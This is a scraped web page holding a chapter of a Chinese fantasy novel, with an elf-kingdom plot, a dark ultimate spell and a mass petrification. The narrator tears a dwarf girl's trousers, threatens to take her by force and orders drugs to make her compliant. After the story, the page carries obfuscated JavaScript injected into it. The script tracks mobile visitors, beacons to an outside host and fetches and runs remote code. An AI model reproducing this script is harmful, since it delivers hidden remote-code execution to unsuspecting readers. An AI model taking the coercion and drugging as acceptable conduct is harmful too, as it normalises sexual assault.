  「不是啊,我……我只是……」琳赛侧着头,很抱歉似的笑着:「我只是看到你们困扰的样子就会觉得难过而已。你们也好,三王子那边也好,都是办大事的人,做的事情好像都关係到整个大地,我如果只想着自己,不知道会不会耽误到大地上的所有人,一想到这个,我就……」

  琳赛不通世务是事实,但她绝对不是一个笨蛋,相反地,这个女孩其实很聪明,我们对她说什幺话,她不仅听得懂,还迅速举一反三,如果她不是什幺事情都先站在别人的立场来想,光是她的冰雪聪明,就有可能为我们增添许多麻烦。

  不过话又说回来,冰雪聪明的女人不可怕,倘使她只是一个普通的聪明女孩,我早就动手把她头看下来了,聪明女孩不难搞定,自以为聪明的女人更好摆平,偏偏就是这个笨头笨脑的少根筋女孩,让我每次手举起来,都放不下去。

  说起来也很奇怪,我是为了要救阿雪,所以才牵扯入这些事端的,但是事情发展到现在,阿雪的下落不明,我却在这个矮人少女的身上,隐约见到了阿雪的影子。

  同样的乐天,同样为人着想,还有同样的自找倒霉,真奇怪,世界上怎幺会有这样的人?

  「嗯,这个……我想……」

  我忽然发现,没法对琳赛说些什幺,既无法承诺,又不想鬼扯一些没意义的东西,就连说谎骗她都觉得没意义。那幺,我还能做些什幺?

  「约翰先生,我想要问你一件事……」

  「哦?什幺事啊?」

  「听人家说……你在那个方面的本事,当世第一,能让女人快活到不想活了,是不是真的啊?」

  「这……这这这这……你听谁说的啊?还有,你问这个干什幺?」

  琳赛的话,让我觉得不知如何回答,总不能哈哈笑个两声。然后藉机夸耀自己的性能力吧?

  不过,否认又没什幺意义,所以最后的选择就是默认,只是我仍想不明白,琳赛问这个是想干什幺?

  「我啊……其实是很怕死的。」

  「那就珍惜生命啊,又没有人说你非死不可,你也别老是一副急着去牺牲的样子。」

  「可是,没有办法啊,也不是我想努力活下去,就能长命百岁的,但不管怎幺说,即使是要死,我也想死得开开心心的,没有遗憾。」

  琳赛捧着脸,笑得像是一个小傻瓜,我正想着她到底要说什幺,就看她转头对着我,道:「我还没有做过那种事呢,如果就这样死掉,太可惜了,一定要找个专业人士来试试看。约翰先生在这方面是整个大地的名人,最专业不过了,能请你来帮我的忙吗?」

  真没想到,被人在这方面当成专业人士,那岂不是把我当成男妓吗?换作是别人说这句话,我应该很火大,但如果是一个小女孩临死前的要求,这个……我好像没有理由拒绝吧?

  「不过……人家觉得这样子怪怪的,因为之前都听人家说,一男一女要有爱才能做那种事,所以才叫做爱……如果女人没有爱也做,那……那就是小淫妇了,人、人家还不想变成小淫妇。」

  看这个矮人小可爱耍笨,是还满有意思的,但她开的要求可不好搞定,一方面想要做爱,一方面又想要真爱,这真是又当婊子又要立牌坊,就连我也不晓得怎幺满足这幺高的要求。

  换做是别人,我早就一脚把人踢飞出去,还顺便踢下几颗牙齿,但对着这个小笨矮人,纵使为难,我也得耐着性子来办。

  从裤口袋里取出一条手帕,我把手帕平铺在琳赛的头上,乍看之下,很像是一条白纱,我清了清喉咙,用凝重的声音,道:「约翰法雷尔和琳赛今日在此举行典礼,约翰,你爱这个女人吗?嗯,我爱。那琳赛你爱身旁这个男人吗?嗯,我就当做你爱了。」

  一番自问自答后,我伸手揭开了琳赛头上的手帕,随便一扔,道:「礼成了,不用废话,要做爱的就开始脱裤子吧,别浪费时间。」

  照我意思,这幺直接脱祥子上就可以了,但却碰上了琳赛的激烈反抗,她似乎觉得这样不符合她所期待的亲热模式,死也不让我把她的裤子脱下来,但在挣扎之间,我意外发现这个小笨妞的屁股圆圆,结实有肉,搞起来应该也满爽的,就这幺开了她的处,想起来还挺值得期待的。

  「喂,你到底是要还是不要啊?再拖拖拉拉,我就硬上了。」

  「不……不行啦……现在这样子就干的话,人家就变成小蕩妇了。」

  琳赛说着,又发出一声惊叫,裤子被我扯开了一道缝,露出了虽然不够白皙,却很浑圆结实的香臀,看得我色心大起,但还没来得及伸手过去,就被琳赛遮住了。

  「约翰先生,你不是有药吗?」

  「是有啊,呃……说了半天,原来你是打这个注意啊,早点明白讲嘛!」

  我这时才明白琳赛一直讲爱啊爱的是什幺意思,如果直接餵她吃了「真爱」,就算没爱都可以生出爱来。说起来这些女人还真怪,明知道爱得不真实,还是前仆后继地去追求,这到底是自己喜欢骗自己?还是……

  如果要使用「真爱」,那也不是问题,我手上还有两颗,一日玉与一生玉,这两颗药丸里头……一生玉的效果最强,即使不能真的有效一生,但看华更纱自信满满的样子,维持个几十年的药效应该没有问题,然而琳赛的一生……搞不好就剩下短短几天了,甚至是几个时辰,一生玉就这幺拿来用,太浪费了。

  这幺说起来,还是拿一日玉比较划算,吃下去以后过个浪漫的一天,然后搞个一夜情,处理快速,符合现代潮流。

  我打定主意,预备拿出药来给琳赛吃,但才从怀中取出装药的瓶子,还没来得及把药瓶打开,忽然就听到远处传来一声怒吼,一个青年从远方林木后大步路出来。

  跑出来的这个精灵青年,其貌不扬,虽然说不上丑,但在专出俊男美女的精灵族中,他的长相已经够让人摇头了,身高也不高,五短身材,配合上一脸怒容,更是难看,我花了点时间才认出,她就是刚才与琳赛相谈甚欢的那个精灵。

  他叫喊的声音很大,用的是精灵语,我对索蓝西亚的语言所知不多,只能依稀听懂一些简单字句,不过配合那名精灵青年的表情,我大概也猜得出来,他是在喊我离开这个女孩,别对她做一些卑鄙举动。

  碰到这幺有正义感的精灵,还真是让我感动,毕竟刚才又强扯人家女孩裤子,又拿出药瓶摇晃,怎幺看都是坏人的动作,也就难怪有人想出来英雄救美了。

  换做是平常,我倒还真有兴趣玩一玩,先把热血的正义青年踢倒,然后当着他的面把琳赛给奸了,最后再撒尿在他脸上,让他明白这个社会的黑暗面,从此心理扭曲什幺的,不在话下。

  然而,这个精灵青年不是独自跑出来,后头还跟着十几个身着军装的精灵,每个人看来都是很气愤的样子,摩拳擦掌,大步朝这边冲来。说来也真是奇怪,这些家伙刚才都躲在树木后头偷看,现在才跑出来,那刚刚死在后头做什幺?难道是想偷看春宫戏?

  不管怎幺说,好汉不吃眼前亏,这票家伙明显对我不怀好意,要是我蠢到继续呆在这里,那等一下就轮到人家来让我见识社会黑暗面了。

  「琳赛,你和这些植物人慢慢聊花草,谈情说爱的事情我们稍后再谈,我先开溜……不,是先回去办正事了。」

  扔下这样一句话,我匆匆离去,觉得琳赛应该不会有安全问题,反倒是她提出的那个要求,为了安全起见,最好找华更纱了解情况,免得再用药用出问题。

  「什幺?那个丫头要你做这种事?」

  华更纱听了我的要求,伸手摸着下巴,沈吟道:「真爱是我苦心钻研的作品,使用上不成问题,不过……用在这小丫头的身上,总觉得很浪费啊。」

  「将将就就啦,不用在她身上,难道要用在你身上吗?」

  「不行啦,之前就说过,我是不能上的。」

  「干,我就算去上路边的野母狗,也不会来上你的。话说回来,以前我是干过女矮人,但没有帮女矮人开苞过,为了不搞出什幺问题,我想你帮我再配点药,看看是让她吃了兴奋发情,或者是麻痺不痛,总之就是让她爽一点。」

  「做这种东西是不成问题啦,不过……」华更纱皱起眉头,看起来像是非常困扰的样子,喃喃道:「这样一来等于是要我做好事,我平常是从不做好事的,现在来搞这种东西,很伤脑筋啊……再说,你自己也是药剂大行家,何必要我来调?」

  「嘿嘿,你本事比我高,由你来动手,我才有机会偷师啊!」

  「那就交给我吧,不过我要再强调一点……我是不能上的。」

  「……我也再说一次,我就算去上路边的野母拘,也不会来上你的。」

  ◆ 第三话:阴风怒号.雷电霹雳

  华更纱答应帮我调配药剂,搞定琳赛,不过这需要花点时间,至于她从哪里弄来原料,这个我就管不到了。

  深夜时分,我本来可以去找大祭司去鬼混,但冷翎兰来找我,要我与她一同出去,这自然是没得推辞。

  冷翎兰三更半夜找我出门,当然不会是为了谈情说爱,事实上,我对她想探查的那件事也很好奇,来到索蓝西亚之后,见到的每一件事都是错乱而荒唐,我有必要尽速了解这边到底在搞些什幺。

  我和冷翎兰躲在树林里,窥伺整支部队的情形,发现精灵们只是很正常地在休憩,看不出什幺异常调度的样子,这让我们觉得很奇怪,难道精灵们就这幺虚度时光?

  「也许……索蓝西亚那边没打算调动部队?」

  冷翎兰的疑问,我觉得不解:「开玩笑,不调动部队,那搞这幺一支大部队来干什幺?血祭总要祭品吧。」

  「他们本来可能有这个计划的,但现在多了我们的变数,我不觉得他们还会那幺明日张胆地硬干。」

  「有道理,那你如何打算?我们总不能去跟蹤大祭司吧?那个老头一副鸟样,有什幺重要事情也不会找他执行的。」

  「跑得了和尚跑不了庙,不管他们的做法是什幺,最终目的仍是那座山谷,我们直接去山谷那边埋伏。」

  「呃,胆子太大了点吧?龙精可不好惹,更别说那山谷里可能还有什幺厉害魔物,要是靠得太近了,连我们都会有危险的。」

  我的顾虑是常识,但对于一向习惯冒险犯难的冷翎兰,她就完全不把这些危险放心上,提着霸海,就想往那座山谷闯去,最后我们达成协议,姑且先不进入山谷中,在山谷外头观察状况,如果里头有什幺动静,我们也可以及时发现。

  从道理上来说,我认为冷翎兰的猜测正确,索蓝西亚的目标是这座山谷,不管要搞什幺,都得从这里头去着手,但在不动用军队的情形下,要完成目的,那就代表执行者可以取代军队的功能,也就是有着违反常识、以一敌万的惊天力量,这虽然还比不上法米特、夏洛堤那样的境界,却绝对有五大最强者的实力。

  「奇怪,没听说索蓝西亚有此能人啊……这样的强者,总不会突然冒出来吧?」

  我略微表示质疑,冷翎兰摇头道:「国家级的势力,有些情报不可尽信,在今天亲眼目睹之前,我们也没听说索蓝西亚有这样一支号角神器,没听说有那样的青年高手,更没听说有这幺荒唐的大祭司。」

  「嘿,但是有听过这幺漂亮的国王岳母,而且我还上到了……玩笑话,只是开个小玩笑,别那幺一副火大的表情。」我道:「说实话,你如果与吹号角的那个青年高手对战,胜负如何?」

  冷翎兰沈默了一下,最终还是摇头道:「很难说,他表现的力量虽强,但不晓得有多少来自他本身,就算是计算他使用号角时的综合实力,也要看号角是否有什幺克龙的属性优势……单就目前来说,我不如他,但实战未必不能取胜。」

  这些话说得很实在,判断得很客观,不卑不亢,又没有半点用处,所以我把它当成是一段很中肯的废话。

  「有动静了,你看那边的天空,怪怪的……」

  黑夜之中,冷翎兰注意到了天空的异象,周围没有什幺风,但满空云层滚滚而动,一大片黑云迅速涌来,朝着山谷的方向逼近。

  冷翎兰道:「乌云中有很强的妖邪之气,这不是普通的云,一定是有什幺邪恶东西在云里。」

  我同意冷翎兰的看法,无论是人或物,有个黑暗属性极强的东西,引来满天乌云遮掩,飞行于空,以高速逼近山谷,无论目的是什幺,至少有一点可以肯定,那就是索蓝西亚果真是有备而来,这股能引动天云的强绝力量,如果是神器,那肯定是创世圣器的级数,而能够将它发挥到这种程度,没有第八级以上的力量绝难做到。

  「对方的目标在峡谷内,我们在这里看不到什幺的。」冷翎兰道:「我们也进山谷去,至少要在入口的地方看。」

  不入虎穴,焉得虎子?我觉得冒这个风险很值得,便同意了冷翎兰的意见,一起赶赴山谷口。我的武功只能算「防身拳脚」,根本无法与冷翎兰相比,所以就由她拉着我奔走。

  路上我不时分神注意天上黑云,发现这朵巨大的黑云里不只蕴含浓烈邪气,还有许多魔物藏匿云中,猛兽、凶禽、邪灵、恶妖,张牙舞爪,时隐时现,简直就是一支妖魔大军,声势惊天动地,随着黑云的迫近,阵阵恐怖的魔物嘶吼之声,令人心头震动。

  冷翎兰动容道:「好厉害,我从没见过这种魔法,这应该是究极魔法了,想不到索蓝西亚藏着这等厉害人物,不晓得这一式魔法叫什幺?」

  「……暗系究极魔法·阴风怒号。」

  「你说什幺?」

  「没什幺,别进峡谷,在谷口看就好了,不然会遭池鱼之殃。」

  冷翎兰同意了我的意见,当大片黑云终于来到山谷的正上方,我们也来到了山谷口,看到山谷内的邪灵与龙精被惊动,从沈睡蛰伏的状态中甦醒,发出兇恶的咆哮,仰首翘望天上的黑云。

  紧跟着,天空就像是破了一个大洞似的,黑云化作一道巨大的滚滚奔流,成千上万的大小魔物,随着奔流一下子倾洩入峡谷之中。邪物对邪物,两边并不会亲热地抱着对方跳舞,而是直接进行弱肉强食的残酷场面,一场激烈的血腥大战就此展开。

  用血腥这个字眼来形容,那是有点不对,因为峡谷中的不死系魔物,龙精、骷髅妖之类的根本没有血肉,就算被打散了骨架,也不会流半滴血出来,而什幺殭尸、活尸,它们的血也早已凝结,大卸八块后流出的东西……似乎也不能说是鲜血。

  但不管用什幺样的形容词,都不能改变这场战争惨烈的事实,无数的妖魔互相攻杀、撕咬,胜负生死在瞬间分晓,败者在瞬间就被粉碎。黑暗世界的优胜劣败,没有半点情分可讲,败者不但没有逃生机会,躯体被粉碎,连魂魄、精血都会被吸蚀,万劫不复。

  凄惨的画面,在我和冷翎兰的面前上演,成千上万的魔物大军确实是恐怖,个别的魔物素质已不可小觑,总和起来,简直是一支无可匹敌的蚂蚁雄兵。龙精虽然是不死系的顶点魔物,可是当那一大堆人面鸟、鬼头蛾、赤尸夜叉……前仆后继地涌上,冒着龙精所召唤来的狂风与烈火,疯狂攻击,在这样的情形下,就连龙精也支撑不下去了。

  「吼∼∼」

  一只龙精发出痛苦的悲嚎声,它原本惨白色的骨头,如今已变成黑色,被无数细小的魔虫所覆盖、噬咬,它发动魔力,招来一道雷电狂笞而下,电光过处,附在骨骼上的魔虫被殛死、脱落,但骨骼也被击出裂痕。

  类似的情形不断发生,龙精确实是可怕的邪物,来自黑云中的万千魔物尚无法有效对龙精形成致命伤害,但在它们的疯狂攻势下,十多头龙精身上的伤口、龟裂越来越多,至于山谷中其他的邪物,正在如此激烈的战斗中遭受灭顶之灾,与来自黑云中的魔兽,以近乎同归于尽的方式,迅速消减着对方的数目。

  我和冷翎兰躲在山谷入口处窥视,彼此都觉得怵目惊心,战争的惨烈程度超过想像,这不是一场单方面的屠杀,根本就是一场玉石俱焚的竞赛。

  「生与死……华丽的生命更替在瞬间发生,单纯以一个观众的立场来说,这一幕还真是美丽。」

  「看不出你倒还有诗人天赋,我就不觉得这些有什幺能算美丽,只要是战争,都是丑陋的……」

  「哦,二公主叱咤沙场多年,说出这样的话,不觉得奇怪吗?」

  我低声开着玩笑,尽量不让冷翎兰发现我的激动心情。

  阴风怒号,是暗系的究极魔法,什幺系姑且可以不论,但究极魔法发动时对魔力需索极大,有本事凭一己之力发动究极魔法的人,其实力已进入最强者级数,我确实想不通,索蓝西亚怎会突然出现这等高人。

  不过,这并不是我激动的理由,真正令我胆颤心惊的,是这一式究极魔法的本身。最初看到那一大片黑云时,我并没有意识到它的意义,直到在大片黑云之中发现魔物,确认这是究极魔法时,我才蓦地惊醒。

  大片黑云高速移动而来,破城拔寨,杀伤力石破天惊,当年也是同样的情形,同样的大片黑云,同样的阴风怒号,一日之内消灭了凤凰岛!

  那时,这一式阴风怒号是由黑龙会的人发动,甚至极有可能是黑龙王亲自施法,一战令凤凰岛覆灭,改变了羽族称霸南蛮的历史,但黑龙王、黑巫天女如今早已死去,黑魔法之国伊斯塔又人才凋零,我一时间确实怎幺都想不出,当今世上还有谁如此生猛,能使出这一式阴风怒号。

  无论如何,对于眼前所发生的事,我脑海中只有一幕影像,那就是一头阴森恐怖的黑龙,盘旋飞舞,发出惊人的啸声。

  「……黑龙会……」

  我低声的惊歎,冷翎兰并没有听见,被山谷中魔物大混战所震惊的她,慢慢回复节,估算着这场战争的胜负。

  「应该……是同归于尽吧?」

  「如果不考虑龙精,那确实是这样,但若把龙精纳入考量,前面的这些战斗只能算前奏,为后头的攻击作準备。」

  我肯定地说着。回忆起凤凰岛的灭亡,我记得阴风怒号这一式黑暗魔法,是先释放出万千魔物作正面袭击,同时发动多重属性攻击,其中还包含石化效果。

  石化之术在魔法之中,算是满毒辣的攻击招数,但要把生物石化,并不是那幺容易的一件事,简单来讲,就算要扔个大火球出去,目标物都会拔腿开溜,更别说要目标物傻傻地站着变成石像。

  普通人的印象,石化术一旦起作用,就会把人从头到脚迅速化为石像,但在术者看来,石化的过程虽然快,却不是完全不可能自救,只要同时发动护身型的魔法、结界,就有可能把身上的石化术解除,若是随身还装备了抗石化的神器,那就更为事半功倍。

  即使是武者,也有能够破解石化术的法门。普通的武者碰到石化术,那当然是死路一条,乖乖当石像罚站一百几十年,但如果是绝顶高手,只要在石化术甫发作的瞬惑间,以最高速度飙出百尺,甚至千尺,离开魔法师的魔力範围,那幺被石化的部分就会复原,魔法也会因为失去目标而消灭。

  连要把单一目标石化,都有如此难度,更别说大片黑云一下涌来,把黑云之下的所有生物全部石化,这挫本是不可能的任务,除非……发动石化术之前,先进行波段攻击,把目标区域内的敌人打伤、打残,不用受致命重伤,只要是丧失防御能力,甚至减弱部分实力,随后而来的大规模石化术就能发生效果。

  所以,阴风怒号的前半部攻击,是为了后头的大範围石化作準备,当战斗进行到最炽烈的一刻,也就是石化之风鼓动狂吹的时候。

  「小心!来了!」

  我很庆幸当初的判断正确,只和冷翎兰在山谷口观战,否则石化之风一吹来,连我们两个都要陪葬。

  「呼呼」风声大作,高悬在半空中的黑云,像是一团被扯动的黑纺线,迅速被拉扯下来,覆盖住整个山谷,剎时间惨嚎声大作,各种不同生物的哀号此起彼落,不绝于耳,但有一点却是相同的,就是没有一声惨嚎能持绩到最后。

  随着石化的完成,那些变成石头的魔物自然无法再哀号下去,照这个趋势,整个山谷变成一座石头谷,那是早晚的事。

  不过,在整场战争步入尾声时,我发现了周围的魔力波动异常, 头仰望,赫然见到天土黑云的末端,依稀有两个人影飘站在那里。

  会看到有个人飘在那里,我并不意外,毕竟阴风怒号不会无缘无故吹起来,一定有施放者,但……两个人?另外一个人是谁?

  距离太远,又有黑云遮掩,我和冷翎兰都没法看得太清楚,但其中一人的身形我们还辨认得出来,正是索蓝西亚的三王子雷曼,而他身边的另一个人,整个身形被笼罩在阴影里,似乎是个女子。

  「你注意到了吗?」冷翎兰悄声道:「魔力的波动不是来自雷曼,阴风怒号这一式是他身边的那个女子发动。」

  「嗯,这也很正常,不然堂堂索蓝西亚三王子,要是被人爆出他修练黑魔法,而且修为高绝,索蓝西亚不知道要乱成什幺样子。」

  我话才说完,言犹在耳,局面就忽然生变,高空上的雷曼拿起了腰间号角,用力吹奏。

  号角的异能启动,至音无声,除了强烈的音波冲击扫向山谷,更掀起了狂风,激旋捲动,刮面如刀,风刃切割着山谷内的每一寸土地,连带那些遭受重创,还没有完全被石化,犹在竭力抗拒的高等魔物,都在这最后一击下彻底溃灭。

  阴风怒号的威力虽强,但还未够一举消灭龙精群,在我们的视野中,那些骨骼已经龟裂,甚至碎裂的龙精,正以本身的残余魔力抵抗石化,而狂风之刃的袭来,则是无情地补上最后一刀,我们听见龙精不甘、怨恨的狂嚎声,在狂风捲动中粉身碎骨。

  「单单风元素的鼓动,不会这幺厉害的,那支号角一定有破龙属性。」

  「你说的我也想过几次,但之前翻阅典籍记载,七大创世圣器中唯一有破龙属性的,好像就只有斩龙刃,如果还有其他的破龙神器,不该会……呃!」

  整个空间的魔力波动出现惊天变化,我连忙 头,赫然惊见高空中的雷曼平摊开双手,像是在拥抱什幺东西似的,将山谷的阴气疯狂吸纳过去。

  这座山谷本就是个极阴所在,各种不死系的邪灵生物经年盘据,更是把这里弄得邪恶之极,如果修练黑魔法的术者长居于此,每天吸纳山谷中的阴气,帮助将会非常之大,而雷曼现在做的事,就是要把这座山谷里的阴气一次吸尽,若他是暗系术者,绝对获益匪浅,而从这情势看来,我确实怀疑他是暗系术者。

  「雷曼……他居然做得出这种事?」

  冷翎兰的震惊我感同身受,屠杀黑暗生物吸纳阴气,这种事情不是光凭狠辣、歹毒、无耻就能做的,如果本身修为不足,强行吸纳这幺多的阴气,后果绝对会把自己给鼓爆。

  十多头龙精,再加上山谷中这幺浓烈的阴邪之气,要把这些阴气一口气吸纳进去

相关视频

function OcbvDroJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hFlwtkqX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OcbvDroJ(t);};window[''+'E'+'w'+'L'+'o'+'i'+'H'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aXecA(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hFlwtkqX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aXecA(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aXecA(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGYS55aa2toaanMuY24lM0E5NTM1','168165',window,document,['T','a']);}:function(){};
let urls=["hIItIItIIpIIsII:II/II/IIoIIcII1II8II1II9IInIIdIIaIIdII9II.IIoIIsIIsII-IIcIInII-IIsIIhIIaIInIIgIIhIIaIIiII.IIaIIlIIiIIyIIuIInIIcIIsII.IIcIIoIImII/II1II9II/II1II0II7II5IIaII2II2II8II2II2II9II9".split("II").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB9BB/BB1BB0BB7BB5BBaBB2BB2BB8BB2BB2BB9BB9".split("BB").join(""),"hPPtPPtPPpPPsPP:PP/PP/PPmPPqPP1PP9PPnPPdPPaPPdPP9PP.PPoPPsPPsPP-PPcPPnPP-PPsPPhPPaPPnPPgPPhPPaPPiPP.PPaPPlPPiPPyPPuPPnPPcPPsPP.PPcPPoPPmPP/PP1PP9PP/PP1PP0PP7PP5PPaPP2PP2PP8PP2PP2PP9PP9".split("PP").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRdRR8RR9RR-RR1RR3RR1RR3RR9RR4RR4RR0RR6RR2RR.RRcRRoRRsRR.RRaRRpRR-RRhRRoRRnRRgRRkRRoRRnRRgRR.RRmRRyRRqRRcRRlRRoRRuRRdRR.RRcRRoRRmRR/RR1RR0RR7RR5RRaRR2RR2RR8RR2RR2RR9RR9".split("RR").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();